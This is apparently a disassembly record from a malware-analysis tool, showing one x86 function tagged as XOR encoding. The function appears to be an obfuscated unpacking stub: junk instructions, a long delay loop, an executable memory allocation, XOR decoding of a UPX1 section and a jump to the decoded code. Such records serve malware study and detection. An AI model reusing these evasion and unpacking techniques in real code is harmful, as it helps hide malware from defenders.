Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x2e964786
mov esi, 0x7539ad2f
mov ebx, esi
popal
mov ebx, esi
or esi, esi
and ebx, esi
mov eax, 0
mov ebx, esi
not edx
sub edx, 0xd394c319
add ecx, 0xc0b716f2
mov edi, ebx
or edx, edx
sub edx, ecx
mov esi, edi
not edx
sub edx, ecx
inc eax
dec edx
inc edx
cmp eax, 0x100f424
jne 0x47afd1
and ecx, edx
not edx
mov ecx, 0x2d37dcc4
cmp eax, 0x100f424
je 0x47b014
mov ebx, 0
mov al, byte [ebx]
dec ecx
add edx, edx
sub edx, 0x2c2bc2b4
sub ebx, esi
add esi, 0xc2f3f195
mov edi, 0x47ada2
add ecx, ebx
and ecx, ebx
add esi, 1
mov edx, 0x47af96
not ebx
mov esi, 0x207c3dc7
mov eax, dword [edi]
and esi, esi
sub esi, ebx
and ecx, ebx
and eax, 0xff
dec esi
add esi, 0x2a2b937f
xor dword [edx], eax
mov esi, 0xcbed7d34
sub esi, ecx
inc esi
add edx, 1
mov ebx, 0x7b2eaed6
mov ebx, 0xc08924fc
inc edi
and ecx, esi
or ebx, ebx
inc esi
cmp edx, entry0
jl 0x47b040
dec esi
sub ecx, 0xc396f94d
mov ecx, esi
sub ebx, esi
mov ecx, ebx
sub edx, ebx
sub ebx, esi
mov edi, 0x47af9a
sub ebx, 0x5d0b8705
or ecx, ecx
mov edx, esi
mov edi, dword [edi]
not ecx
add ecx, 0x504d4b0e
mov edi, dword [edi]
mov esi, 0xd5b81b07
sub ecx, 0xfd0ae3cd
push edi
mov edx, esi
add esi, 0x72de75d8
mov edi, 0x47af96
inc ebx
sub edx, 1
mov edi, dword [edi]
mov ebx, esi
add ebx, ebx
sub esi, 0x9223b858
mov edi, dword [edi]
sub ebx, edx
inc esi
sub ecx, 1
sub esp, 4
mov dword [esp], 0x47af9e
inc edx
and edx, esi
and edx, ebx
call edi
sub esi, ecx
mov ecx, ebx
pop edi
dec ebx
sub esi, ebx
add edx, ebx
push 0x47afab
inc esi
add ecx, edx
sub ecx, 0x4820cd19
push eax
add edx, 0xb7cedc2b
and ecx, ebx
dec esi
call edi
and ebx, ebx
inc esi
push 0x40
sub ebx, edx
add edx, 0x6aeaa9a9
add ecx, esi
push 0x3000
or ebx, ecx
sub ebx, esi
mov ebx, 0x8167f395
push 0x20000cf0
add esi, edx
add ebx, ebx
sub ebx, 0x7d5cfcd0
push 0
or esi, esi
sub esi, ebx
call eax
add esi, 0xfe3f96
mov ecx, ebx
and ecx, ebx
add eax, 0x20000c6d
add esi, 0x397b8c3
sub ecx, edx
sub ecx, 0x2925d0ec
mov edi, 0x359a643a
not esi
sub ecx, 1
mov dword [eax], edi
mov ebx, esi
or ebx, ebx
add ecx, 0x164763fe
mov edi, dword [eax]
or esi, esi
sub ecx, esi
cmp edi, 0x359a643a
je 0x47b19f
mov ecx, 0
mov eax, dword [ecx]
not ecx
dec edx
mov ebx, esi
add edx, ebx
mov ebx, esi
sub esi, 0x650a5ca7
add esi, ebx
mov edi, section.UPX1
and esi, ebx
and ebx, ebx
add ebx, ebx
mov eax, 0x47ada1
mov ebx, esi
or esi, ebx
add ebx, 0xbd16e176
mov edx, 0
add ebx, 0xddfdf061
mov ebx, 0x11571cfa
mov ecx, 0x47ada2
and ebx, ebx
not ebx
lea ecx, [edx + ecx]
or ebx, esi
sub esi, 0x8b52d8c4
mov ecx, dword [ecx]
inc esi
mov esi, 0xab7375d0
and ecx, 0xff
dec esi
dec ebx
add edx, 1
or esi, esi
add ebx, 0xa3a8afb1
cmp edx, 0x1f4
jne 0x47b219
mov edx, 0
or ebx, ebx
or esi, ebx
add esi, ebx
mov esi, ebx
add esi, 0x2e45792a
xor dword [edi], ecx
or ebx, ebx
sub ebx, esi
add edi, 2
sub ebx, esi
dec esi
cmp edi, eax
jl 0x47b1da
inc esi
not esi
sub ebx, esi
add ebx, 1
sub ebx, esi
mov edi, section.UPX1
sub esi, 1
mov esi, 0x71fca98d
mov ecx, 0x1bde29cf
mov edx, section.UPX1
mov esi, ecx
mov ecx, esi
not ecx
mov ebx, 0x47ada1
sub esi, 0xb43e7210
sub ecx, 0x75986f46
or ecx, ecx
mov eax, 0
or ecx, esi
mov ecx, 0x6b7df555
inc esi
mov al, byte [edx]
add esi, esi
inc esi
sub ecx, 0xecb8769a
mov byte [edi], al
add ecx, esi
or esi, ecx
add edi, 1
add ecx, 0x141d3824
inc esi
and ecx, ecx
add edx, 2
sub esi, ecx
dec esi
cmp edx, ebx
jle 0x47b28b
sub esi, 0x9ee80014
mov ecx, esi
inc ebx
sub esi, 0x6bf66c67
not ebx
push 0x45e6a0
mov ebx, 0x1c74b195
add esi, esi
sub ebx, esi
ret